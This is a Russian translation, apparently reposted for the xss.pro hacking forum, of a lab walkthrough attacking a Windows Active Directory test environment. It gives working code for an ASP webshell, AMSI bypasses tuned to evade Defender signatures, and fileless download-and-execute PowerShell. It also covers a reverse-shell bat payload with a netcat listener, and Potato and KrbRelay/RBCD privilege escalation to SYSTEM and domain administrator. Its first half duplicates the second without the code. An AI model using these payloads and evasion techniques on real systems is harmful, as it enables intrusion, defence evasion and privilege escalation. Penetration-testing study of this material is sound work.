ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
В предыдущем посте мы пробовали несколько атак с MSSQL на домен. На этот раз мы получим веб-шелл на IIS и попробуем некоторые методы повышения привилегий.
IIS — веб-оболочка
Оттуда мы можем загрузить базовую веб-оболочку в asp: webshell.asp (на момент написания это позволяет избежать подписи защитника)
Веб-шелл загружается в папку загрузки И у нас есть выполнение команды на сервере IIS
Можно получить шел тем же методом что и MSSQL
Как пользователь службы IIS мы получили SeImpersonatePrivilege! (то же самое в mssql, сервис получил это разрешение по умолчанию)
Privesc
Существует большое количество техник privesc на microsoft windows. Здесь мы попробуем только две, которые не были исправлены компанией microsoft: printspoofer и krbrelay.
Поскольку privesc запускается на целевом компьютере, в этой главе мы выполним некоторые действия powershell для повышения привилегий.
Обход AMSI
Для проведения всех тестов я включил windows defender на всех системах. В Castelblack защитник отключен по умолчанию, вам следует включить его перед тестированием описанной здесь техники privesc.
Чтобы иметь возможность воспроизводить обнаруженные AV-приложения из памяти, необходимо обойти интерфейс сканирования вредоносных программ (AMSI) в текущем процессе.
Существует несколько способов обойти AMSI, и вы можете найти их на странице github: https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell.
Также вы можете найти сгенерированную пользователем полезную нагрузку на этом сайте amsi.fail.
Все общедоступные методы, похоже, подписаны, но мы также можем выбрать один из них и сделать несколько небольших модификаций вручную.
Оригинал :
Модифицированная версия:
Это тривиальная модификация, но этого достаточно, чтобы обойти сигнатуру на момент написания статьи. После этого мы можем использовать rasta mouse для обхода AMSI, чтобы отключить AMSI на уровне .net.
Если вы хотите узнать, зачем это делать, вам стоит прочитать эту запись в блоге от @ShitSecure, объясняющую разницу между уровнем AMSI в powershell и .net: https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/.
# Исправление amsi.dll AmsiScanBuffer от rasta-mouse
Поместим скрипт обхода на наш диск и загрузим его удаленно
Как только мы это сделали, мы можем играть во что захотим с условием не касаться диска! #the_disk_is_lava. Теперь мы можем воспроизводить все наши .net-приложения, запуская их напрямую с помощью команды execute.
Моими любимыми инструментами для поиска повышения привилегий, без сомнения, являются winpeas. Мы уже обходим amsi на предыдущем шаге, что мы можем сделать сейчас, чтобы избежать обнаружения, так это поместить winpeas на http-сервер и загрузить его в память. В этой статье очень хорошо объясняется, как загрузить и запустить сборку с полной памятью powershell.
И воспроизведите winPeas из памяти с помощью следующих команд powershell (поскольку winPeas находится в .net, мы загружаем сборку и запускаем ее напрямую):
WinPeas занимает несколько минут для завершения и возвращает подсказку со всей информацией (без захвата консоли вывод пуст в нашей базовой обратной оболочке powershell, если у вас есть «настоящая» оболочка, вам не нужно этого делать и просто запустите [winPEAS.Program]::Main("");без консоли, спасибо коду PowerSharpPack за трюк) Если вы не хотите скучать, компилируя .net-приложение или изменяя его с помощью общедоступного класса и метода и без exit.environment, вы также можете использовать PowerSharpPack , и все будет сделано за вас (еще раз спасибо @ShitSecure).
И мы получаем информацию о привилегии SEImpersonate, которую можно использовать для эскалации.
Этот скрипт является модификацией скрипта с сайта snovvcrash и некоторого кода PowerSharpPack.
Pack:
Чтобы использовать в качестве отражающей сборки в powershell, помните, что вам следует избегать environment.exit() в коде .net, а также вы должны установить класс и основной метод общедоступными.
Замечательный пост в блоге: https://jlajara.gitlab.io/Potatoes_Windows_Privesc
Итак, давайте воспользуемся SweetPotato , компиляцией всех техник, «Картошка, чтобы править всеми» .
Итак, мы клонируем проект и компилируем его с помощью VisualStudio.
Подготовьте bat-файл для запуска базовой обратной оболочки powershell при выполнении.
Подготовьте слушателя
С нашим реверс шелом выполняем:
Поднимим KrbRelay
Добавить компьютер:
Получите SID этого компьютера:
Проверить порты
Запустить krrelay
Теперь заканчиваем с эксплуатацией RBCD c Impacket :
Или с Rubeus
И так же, как в статье @an0n_r0, мы запускаем SCMUACBypass.exe от Tyranid и получаем системную оболочку.
Без AV или если вы модифицируете/запутываете KrbRelayUp, вы можете сделать все с помощью следующих команд:
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
В предыдущем посте мы пробовали несколько атак с MSSQL на домен. На этот раз мы получим веб-шелл на IIS и попробуем некоторые методы повышения привилегий.
IIS — веб-оболочка
- На http://192.168.56.22/ есть простое приложение asp.net, это приложение дает нам только простую функцию загрузки файлов.
Оттуда мы можем загрузить базовую веб-оболочку в asp: webshell.asp (на момент написания это позволяет избежать подписи защитника)
Код:
<%
Function getResult(theParam)
Dim objSh, objResult
Set objSh = CreateObject("WScript.Shell")
Set objResult = objSh.exec(theParam)
getResult = objResult.StdOut.ReadAll
end Function
%>
<HTML>
<BODY>
Enter command:
<FORM action="" method="POST">
<input type="text" name="param" size=45 value="<%= myValue %>">
<input type="submit" value="Run">
</FORM>
<p>
Result :
<%
myValue = request("param")
thisDir = getResult("cmd /c" & myValue)
Response.Write(thisDir)
%>
</p>
<br>
</BODY>
</HTML>
Веб-шелл загружается в папку загрузки И у нас есть выполнение команды на сервере IIS
Можно получить шел тем же методом что и MSSQL
Как пользователь службы IIS мы получили SeImpersonatePrivilege! (то же самое в mssql, сервис получил это разрешение по умолчанию)
Privesc
Существует большое количество техник privesc на microsoft windows. Здесь мы попробуем только две, которые не были исправлены компанией microsoft: printspoofer и krbrelay.
Поскольку privesc запускается на целевом компьютере, в этой главе мы выполним некоторые действия powershell для повышения привилегий.
Обход AMSI
Для проведения всех тестов я включил windows defender на всех системах. В Castelblack защитник отключен по умолчанию, вам следует включить его перед тестированием описанной здесь техники privesc.
Чтобы иметь возможность воспроизводить обнаруженные AV-приложения из памяти, необходимо обойти интерфейс сканирования вредоносных программ (AMSI) в текущем процессе.
Существует несколько способов обойти AMSI, и вы можете найти их на странице github: https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell.
Также вы можете найти сгенерированную пользователем полезную нагрузку на этом сайте amsi.fail.
Все общедоступные методы, похоже, подписаны, но мы также можем выбрать один из них и сделать несколько небольших модификаций вручную.
Оригинал :
Код:
# Matt Graebers второй метод Reflection
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)
Код:
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
Это тривиальная модификация, но этого достаточно, чтобы обойти сигнатуру на момент написания статьи. После этого мы можем использовать rasta mouse для обхода AMSI, чтобы отключить AMSI на уровне .net.
Если вы хотите узнать, зачем это делать, вам стоит прочитать эту запись в блоге от @ShitSecure, объясняющую разницу между уровнем AMSI в powershell и .net: https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/.
# Исправление amsi.dll AmsiScanBuffer от rasta-mouse
Код:
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")].
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")].
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")].
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
Поместим скрипт обхода на наш диск и загрузим его удаленно
Код:
python3 -m http.server 8080
(new-object system.net.webclient).downloadstring('http://192.168.56.1:8080/amsi_rmouse.txt')|IEX
Как только мы это сделали, мы можем играть во что захотим с условием не касаться диска! #the_disk_is_lava. Теперь мы можем воспроизводить все наши .net-приложения, запуская их напрямую с помощью команды execute.
WinPeas, не касаясь диска
Моими любимыми инструментами для поиска повышения привилегий, без сомнения, являются winpeas. Мы уже обходим amsi на предыдущем шаге, что мы можем сделать сейчас, чтобы избежать обнаружения, так это поместить winpeas на http-сервер и загрузить его в память. В этой статье очень хорошо объясняется, как загрузить и запустить сборку с полной памятью powershell.
Код:
cd /var/www/html
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe
python3 -m http.server 8080
И воспроизведите winPeas из памяти с помощью следующих команд powershell (поскольку winPeas находится в .net, мы загружаем сборку и запускаем ее напрямую):
Код:
$data=(New-Object System.Net.WebClient).DownloadData('http://192.168.56.1:8080/winPEASany_ofs.exe');
$asm = [System.Reflection.Assembly]::Load([byte[]]$data);
$out = [Console]::Out;$sWriter = New-Object IO.StringWriter;[Console]::SetOut($sWriter);
[winPEAS.Program]::Main("");[Console]::SetOut($out);$sWriter.ToString()
WinPeas занимает несколько минут для завершения и возвращает подсказку со всей информацией (без захвата консоли вывод пуст в нашей базовой обратной оболочке powershell, если у вас есть «настоящая» оболочка, вам не нужно этого делать и просто запустите [winPEAS.Program]::Main("");без консоли, спасибо коду PowerSharpPack за трюк) Если вы не хотите скучать, компилируя .net-приложение или изменяя его с помощью общедоступного класса и метода и без exit.environment, вы также можете использовать PowerSharpPack , и все будет сделано за вас (еще раз спасибо @ShitSecure).
Код:
iex(new-object net.webclient).downloadstring('http://192.168.56.1:8080/PowerSharpPack/PowerSharpPack.ps1')
PowerSharpPack -winPEAS
И мы получаем информацию о привилегии SEImpersonate, которую можно использовать для эскалации.
Упаковка вашего двоичного файла .net для powershell
Если вы не хотите использовать двоичный файл из Интернета (и вам не следует использовать предварительно скомпилированный код, полученный на github, во время вашей пентест-миссии), вы также можете упаковать свой собственный двоичный файл с помощью следующего скрипта: EncodeAssembly.ps1Этот скрипт является модификацией скрипта с сайта snovvcrash и некоторого кода PowerSharpPack.
Pack:
Код:
. .\EncodeAssembly.ps1
Invoke-EncodeAssembly -binaryPath winPEAS.exe -namespace winPEAS -capture $true
SeImpersonatePrivilege для Authority\system
Чтобы повысить привилегии от нашего пользователя iis (или mssql) с SeImpersonatePrivilege до Authority\system, мы можем использовать одну из «картофельных» техник.Замечательный пост в блоге: https://jlajara.gitlab.io/Potatoes_Windows_Privesc
Итак, давайте воспользуемся SweetPotato , компиляцией всех техник, «Картошка, чтобы править всеми» .
Итак, мы клонируем проект и компилируем его с помощью VisualStudio.
Подготовьте bat-файл для запуска базовой обратной оболочки powershell при выполнении.
Код:
cd www
echo "@echo off" > runme.bat
echo "start /b $(python3 payload.py 192.168.56.1 4445)" >> runme.bat
echo "exit /b" >> runme.bat
python3 -m http.server 8080
Подготовьте слушателя
Код:
nc -nlvp 4445
С нашим реверс шелом выполняем:
Код:
mkdir c:\temp
cd c:\temp
(New-Object System.Net.WebClient).DownloadFile('http://192.168.56.1:8080/runme.bat','c:\temp\runme.bat')
$data=(New-Object System.Net.WebClient).DownloadData('http://192.168.56.1:8080/SweetPotato.exe');
$asm = [System.Reflection.Assembly]::Load([byte[]]$data);
$out = [Console]::Out;$sWriter = New-Object IO.StringWriter;[Console]::SetOut($sWriter);
[SweetPotato.Program]::Main(@('-p=C:\temp\runme.bat'));[Console]::SetOut($out);$sWriter.ToString()
- По умолчанию инструмент использует технику printSpoofer от @itm4n.
- Если вы не хотите компилировать SweetPotato, вы также можете сделать это с помощью BadPotato из PowerSharpPack (но сначала мы должны обойти amsi — см. часть об обходе AMSI — иначе он будет обнаружен)
Код:
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
iex(new-object system.net.webclient).downloadstring('http://192.168.56.1:8080/amsi_rmouse.txt')
iex(new-object net.webclient).downloadstring('http://192.168.56.1:8080/PowerSharpPack/PowerSharpBinaries/Invoke-BadPotato.ps1')
Invoke-BadPotato -Command "c:\temp\runme.bat"
Поднимим KrbRelay
- Еще одна очень полезная техника для повышения привилегий — ретрансляция kerberos, как это реализовано в KrbRelayUp.
- Спасибо @dec0ne, который использует GOADv1 для демонстрации техники своего инструмента
- Поскольку KrbRelayUp обнаруживается защитником, мы будем использовать пошаговый подход, подобный этому описанию @an0n_r0, используя @cube0x0 KrbRelay.
- На момент написания KrbRelay не обнаружен защитником.
- Условия для использования этого privesc: подписывание LDAP НЕ применяется, мы можем проверить это с помощью модуля cme ldap-signing:
Код:
cme ldap 192.168.56.10-12 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M ldap-signing
Добавьте компьютер и RBCD
- Чтобы использовать krrelay, добавив компьютер, вы должны иметь возможность добавить новый компьютер, мы можем проверить это с помощью модуля cme MAQ.
Код:
cme ldap 192.168.56.11 -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M MAQ
Добавить компьютер:
Код:
addcomputer.py -computer-name 'krbrelay$' -computer-pass 'ComputerPassword' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'
Получите SID этого компьютера:
Код:
PS C:\Users\jon.snow\Desktop> $o = ([ADSI]"LDAP://CN=krbrelay,CN=Computers,DC=north,DC=sevenkingdoms,DC=local").objectSID
PS C:\Users\jon.snow\Desktop> (New-Object System.Security.Principal.SecurityIdentifier($o.value, 0)).Value
S-1-5-21-3469228063-1577654746-3345322900-1127
Код:
PS C:\Users\jon.snow\Desktop> .\CheckPort.exe
[*] Looking for available ports..
[*] SYSTEM Is allowed through port 443
Код:
PS C:\Users\jon.snow\Desktop> .\KrbRelay.exe -spn ldap/winterfell.north.sevenkingdoms.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-3469228063-1577654746-3345322900-1127 -port 443
Теперь заканчиваем с эксплуатацией RBCD c Impacket :
Код:
getTGT.py -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'krbrelay$':'ComputerPassword'
export KRB5CCNAME=/workspace/krbrelay\$.ccache
getST.py -impersonate 'administrator' -spn 'CIFS/castelblack.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'krbrelay$'
export KRB5CCNAME=/workspace/administrator@CIFS_castelblack.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
wmiexec.py -k @castelblack.north.sevenkingdoms.local
C:\>whoami
north\administrator
Или с Rubeus
Код:
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
iex(new-object system.net.webclient).downloadstring('http://192.168.56.1:8080/amsi_rmouse.txt')
iex(new-object net.webclient).downloadstring('http://192.168.56.1:8080/PowerSharpPack/PowerSharpPack.ps1')
PowerSharpPack -rubeus -Command "hash /password:ComputerPassword"
PowerSharpPack -rubeus -Command "s4u /user:krbrelay$ /rc4:0EDDEDC35EB7B7ECDE0C9F0564E54C83 /impersonateuser:administrator /msdsspn:host/castelblack /ptt"
И так же, как в статье @an0n_r0, мы запускаем SCMUACBypass.exe от Tyranid и получаем системную оболочку.
Без AV или если вы модифицируете/запутываете KrbRelayUp, вы можете сделать все с помощью следующих команд:
Код:
.\KrbRelayUp.exe relay -Domain north.sevenkingdoms.local -CreateNewComputerAccount -ComputerName evilhost2$ -ComputerPassword pass@123
./KrbRelayUp.exe spawn -m rbcd -d north.sevenkingdoms.local -dc winterfell.north.sevenkingdoms.local -cn evilhost2$ -cp pass@123
С другими методами
- KrbRelay также можно использовать для ретрансляции в ADCS или для добавления msDS-KeyCredentialLink и использования ShadowCredentials. Все, что вам нужно знать, находится на этой странице , это оставьте читателю в качестве упражнения.
- Запусти на браавос mssql и попробуй получить шелл от имени админа
Полезные ссылки
- https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
- https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/
- https://github.com/S3cur3Th1sSh1t/PowerSharpPack
- https://jlajara.gitlab.io/Potatoes_Windows_Privesc
- https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/dotnet-reflective-assembly
- https://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9
- https://itm4n.github.io/printspoofer-abusing-имперсонате-привилегии/
- https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html
- https://github.com/Dec0ne/KrbRelayUp)
- https://github.com/cube0x0/KrbRelay